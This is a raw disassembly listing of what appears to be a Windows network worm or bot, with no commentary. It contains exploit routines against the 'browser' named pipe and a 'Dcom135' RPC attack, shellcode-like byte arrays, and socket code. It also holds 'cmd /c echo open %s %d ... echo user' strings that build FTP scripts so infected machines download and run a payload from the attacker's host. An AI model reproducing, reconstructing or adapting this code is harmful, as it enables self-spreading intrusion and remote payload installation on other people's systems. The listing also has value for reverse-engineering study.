		db  50h	; P
		db 0E8h	; 
		db  80h	; 
		db 0E0h	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_4049C7
; ---------------------------------------------------------------------------
		db 0BEh	; 
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_4049C7:				; CODE XREF: ___:004049C0j
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 2640764h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_404A0B


loc_404A04:				; CODE XREF: ___:00404AE3j
					; ___:00404CB9j ...
		xor	al, al
		jmp	loc_404E4F
; ---------------------------------------------------------------------------


loc_404A0B:				; CODE XREF: ___:00404A02j
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_417330
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_428C34
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_417390
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_428C20
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_417390
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	short loc_404AE8


loc_404ADA:				; CODE XREF: ___:00404BB4j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26217F0h
		jmp	loc_404A04
; ---------------------------------------------------------------------------


loc_404AE8:				; CODE XREF: ___:00404AD8j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 262109Ch
		nop
		push	ebx
		call	sub_4186B1
		push	eax
		call	sub_417300
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_417330
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 20h
		call	sub_41730A
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_428BC8[esi], bl
		jz	short loc_404B5F
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_43C830
		jmp	short loc_404B72
; ---------------------------------------------------------------------------


loc_404B5F:				; CODE XREF: ___:00404B4Bj
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_428C17+1)


loc_404B72:				; CODE XREF: ___:00404B5Dj
		lea	eax, [ebp-20h]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		call	sub_41730A
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41730A
		cdq
		idiv	edi
		mov	eax, dword_428BBC[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_404ADA
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_417330
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_417330
		mov	eax, dword_428BC4[esi]
		push	7
		add	eax, edi
		push	offset dword_428BB0
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_428A50
		push	eax
		call	sub_417390
		mov	eax, dword_428BC0[esi]
		add	esp, 30h
		cmp	byte_428BC8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_404C6B
		push	4
		add	eax, edi
		push	offset dword_43C828
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_428BE0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_417390
		add	esp, 30h
		jmp	short loc_404C93
; ---------------------------------------------------------------------------


loc_404C6B:				; CODE XREF: ___:00404C1Cj
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_428BE0


loc_404C7C:				; CODE XREF: ___:00404C91j
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_417390
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_404C7C


loc_404C93:				; CODE XREF: ___:00404C69j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_404CBE
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26217F0h
		push	edi
		call	sub_417C3B
		pop	ecx
		jmp	loc_404A04
; ---------------------------------------------------------------------------


loc_404CBE:				; CODE XREF: ___:00404CA7j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_417330
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_424294
		fstp	qword ptr [esp]
		call	sub_417DEB
		call	sub_417DC4
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_417390
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_404D2B


loc_404D23:				; CODE XREF: ___:00404D26j
		inc	eax
		test	al, 3
		jnz	short loc_404D23
		mov	[ebp+0Ch], eax


loc_404D2B:				; CODE XREF: ___:00404D21j
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_417C3B
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_417330
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_417330
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 2640AB0h
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_404D98:				; CODE XREF: ___:00404E22j
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_404E2D
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		test	al, al
		jz	short loc_404E2A
		cmp	[ebp-4Ch], ebx
		jz	short loc_404E1C
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 262109Ch
		nop
		test	eax, eax
		jnz	short loc_404E03
		nop
		call	near ptr 2640A83h
		cmp	eax, 3E5h
		jnz	loc_404A04


loc_404E03:				; CODE XREF: ___:00404DF0j
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 26409E5h
		cmp	eax, 102h
		jnz	short loc_404E1C
		mov	byte ptr [ebp+0Bh], 1


loc_404E1C:				; CODE XREF: ___:00404DCFj
					; ___:00404E16j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_404D98
		jmp	short loc_404E2D
; ---------------------------------------------------------------------------


loc_404E2A:				; CODE XREF: ___:00404DCAj
		mov	esi, [ebp-8]


loc_404E2D:				; CODE XREF: ___:00404D9Cj
					; ___:00404E28j
		push	dword ptr [ebp-4]
		mov	edi, dword_424078
		call	edi
		push	esi
		call	sub_417C3B
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_404E49
		push	dword ptr [ebp-4Ch]
		call	edi


loc_404E49:				; CODE XREF: ___:00404E42j
		cmp	[ebp+0Bh], bl
		setnz	al


loc_404E4F:				; CODE XREF: ___:00404A06j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; 
		db 0ECh	; 
		db  81h	; 
		db 0ECh	; 
		db 0A0h	; 
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; 
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; 
		db  56h	; V
		db  50h	; P
		db 0E8h	; 
		db 0C2h	; 
		db  24h	; $
		db    1
		db    0
		db  83h	; 
		db 0C4h	; 
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; 
		db  45h	; E
		db 0F0h	; 
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; 
		db  77h	; w
		db 0C4h	; 
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; 
		db 0C4h	; 
		db    0
		db    0
		db    0
		db  89h	; 
		db  45h	; E
		db 0F4h	; 
		db  90h	; 
		db 0E8h	; 
		db 0B6h	; 
		db 0C8h	; 
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; 
		db  45h	; E
		db 0F2h	; 
		db  90h	; 
		db 0E8h	; 
		db  83h	; 
		db 0EDh	; 
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; 
		db 0D8h	; 
		db  83h	; 
		db 0FBh	; 
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; 
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db 0E8h	; 
		db 0ABh	; 
		db 0EFh	; 
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; 
		db 0F8h	; 
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; 
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; 
		db  35h	; 5
		db    4
		db  42h	; B
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FAh	; 
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; 
		db 0B8h	; 
		db  78h	; x
		db 0F6h	; 
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  3Ch	; <
		db 0C8h	; 
		db  43h	; C
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; 
		db 0FCh	; 
		db  5Fh	; _
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db 0DCh	; 
		db  89h	; 
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; 
		db  2Eh	; .
		db  29h	; )
		db    1
		db    0
		db  83h	; 
		db 0C4h	; 
		db  1Ch
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; 
		db 0A3h	; 
		db  2Bh	; +
		db    1
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; 
		db 0D7h	; 
		db 0CBh	; 
		db  6Ah	; j
		db  71h	; q
		db  83h	; 
		db 0F8h	; 
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; 
		db 0EBh	; 
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FAh	; 
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; 
		db  53h	; S
		db  90h	; 
		db 0E8h	; 
		db  33h	; 3
		db 0CBh	; 
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; 
		db 0C3h	; 
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h
		dd 0E8000007h, 21FB8E3h, 0FB834390h, 33B87202h,	5B5E5FC0h
		dd 58016AC3h
		db 0EBh, 0F7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F9A	proc near		; CODE XREF: ___:00405119p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_405068
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405068
		mov	edi, 400h
		push	esi
		mov	esi, dword_424204
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42F678
		push	eax
		push	eax
		push	dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40506C


loc_405068:				; CODE XREF: sub_404F9A+50j
					; sub_404F9A+62j
		xor	eax, eax
		jmp	short loc_405083
; ---------------------------------------------------------------------------


loc_40506C:				; CODE XREF: sub_404F9A+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_405083:				; CODE XREF: sub_404F9A+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404F9A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		mov	word ptr [ebp-10h], 2
		call	dword_43F6A8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_43F668
		push	6
		push	1
		push	2
		mov	[ebp-0Eh], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4050FA
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050DB
		push	esi
		jmp	short loc_4050F4
; ---------------------------------------------------------------------------


loc_4050DB:				; CODE XREF: ___:004050D6j
		push	0
		push	1213h
		push	offset dword_428C60
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_4050FE


loc_4050F4:				; CODE XREF: ___:004050D9j
		nop
		call	near ptr 71AB1A6Dh


loc_4050FA:				; CODE XREF: ___:004050C4j
		xor	eax, eax
		jmp	short loc_405140
; ---------------------------------------------------------------------------


loc_4050FE:				; CODE XREF: ___:004050F2j
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F9A
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40513D
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_40513D:				; CODE XREF: ___:00405126j
		push	1
		pop	eax


loc_405140:				; CODE XREF: ___:004050FCj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405144	proc near		; CODE XREF: ___:00405340p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_C], eax
		mov	ax, word_42A040
		push	eax
		call	dword_43F668
		push	edi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43F6E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40525B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_40525B
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43F680
		push	dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40525B
		push	1F4h
		nop
		call	near ptr 260086Bh
		push	offset byte_42F678
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40525F


loc_40525B:				; CODE XREF: sub_405144+51j
					; sub_405144+67j ...
		xor	al, al
		jmp	short loc_405279
; ---------------------------------------------------------------------------


loc_40525F:				; CODE XREF: sub_405144+115j
		push	0
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43F680
		push	esi
		call	dword_43F700
		mov	al, 1


loc_405279:				; CODE XREF: sub_405144+119j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405144	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		nop
		call	near ptr 71AB2BBFh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4052A8
		lea	eax, [ebp+0Ch]
		push	eax
		nop
		call	near ptr 71AB12F8h
		mov	ebx, eax
		jmp	short loc_4052AE
; ---------------------------------------------------------------------------


loc_4052A8:				; CODE XREF: ___:00405298j
		mov	ebx, [ebp+0C0h]


loc_4052AE:				; CODE XREF: ___:004052A6j
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3C22h
		test	esi, esi
		mov	edi, eax
		jz	short loc_4052D8
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		jmp	short loc_4052DB
; ---------------------------------------------------------------------------


loc_4052D8:				; CODE XREF: ___:004052BEj
		mov	[ebp-0Ch], ebx


loc_4052DB:				; CODE XREF: ___:004052D6j
		test	esi, esi
		jz	short loc_4052E9
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_4052EF
; ---------------------------------------------------------------------------


loc_4052E9:				; CODE XREF: ___:004052DDj
		mov	word ptr [ebp-10h], 2


loc_4052EF:				; CODE XREF: ___:004052E7j
		push	599h
		call	near ptr 71AB1746h
		nop
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		nop
		call	near ptr 71AB3E5Dh
		test	eax, eax
		jnz	loc_4053BE
		push	eax
		push	1C9h
		push	offset loc_429E74
		push	edi
		nop
		call	near ptr 71AB1AF4h
		push	3E8h
		nop
		call	near ptr 260086Bh
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_405144
		add	esp, 0BCh
		test	al, al
		jz	short loc_405354
		push	1
		pop	eax
		jmp	short loc_4053D0
; ---------------------------------------------------------------------------


loc_405354:				; CODE XREF: ___:0040534Dj
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset unk_42A0B0
		lea	eax, [ebp-210h]
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp-210h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40D679
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]
		jmp	short loc_4053CE
; ---------------------------------------------------------------------------


loc_4053BE:				; CODE XREF: ___:0040530Dj
		push	1
		push	edi
		nop
		call	near ptr 71AB8629h
		push	edi
		nop
		call	near ptr 71AB1A6Dh


loc_4053CE:				; CODE XREF: ___:004053BCj
		xor	eax, eax


loc_4053D0:				; CODE XREF: ___:00405352j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053D5	proc near		; DATA XREF: sub_407252+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		nop
		call	near ptr 71AB41DAh
		push	edi
		call	sub_4186B1
		push	eax
		call	sub_417300
		push	0FEB0h
		push	406h
		call	sub_41544E
		add	esp, 10h
		mov	dword_43C83C, eax
		push	edi
		push	ebx
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		nop
		call	near ptr 71AB3F8Dh
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB155Ah
		mov	ax, word ptr dword_43C83C
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		nop
		call	near ptr 71AB1746h
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3ECEh
		test	eax, eax
		jge	short loc_4054AA
		mov	eax, ebx
		jmp	loc_4059D4
; ---------------------------------------------------------------------------


loc_4054AA:				; CODE XREF: sub_4053D5+CCj
		push	0Ah
		push	esi
		call	near ptr 71AB5DE2h
		nop
		mov	[ebp+var_228], ebx
		mov	ebx, dword_424208
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_4054C8:				; CODE XREF: sub_4053D5+12Cj
					; sub_4053D5+5F7j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		nop
		call	near ptr 71AB1890h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059D1
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4054C8


loc_405503:				; CODE XREF: sub_4053D5+5F1j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_422A46
; ---------------------------------------------------------------------------
		db 85h
		dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh,	10DC45h
		dd 8D500000h, 0FFFDC885h, 75FF50FFh, 32E890F4h,	83716B31h
		dd 840FFFF8h, 45Bh, 0B539C933h,	0FFFFFDD8h, 958D1676h
		dd 0FFFFFDDCh
; ---------------------------------------------------------------------------


loc_405574:				; CODE XREF: sub_4053D5+1ADj
		cmp	[edx], eax
		jz	short loc_405584
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_405574


loc_405584:				; CODE XREF: sub_4053D5+1A1j
		cmp	ecx, [ebp+var_228]
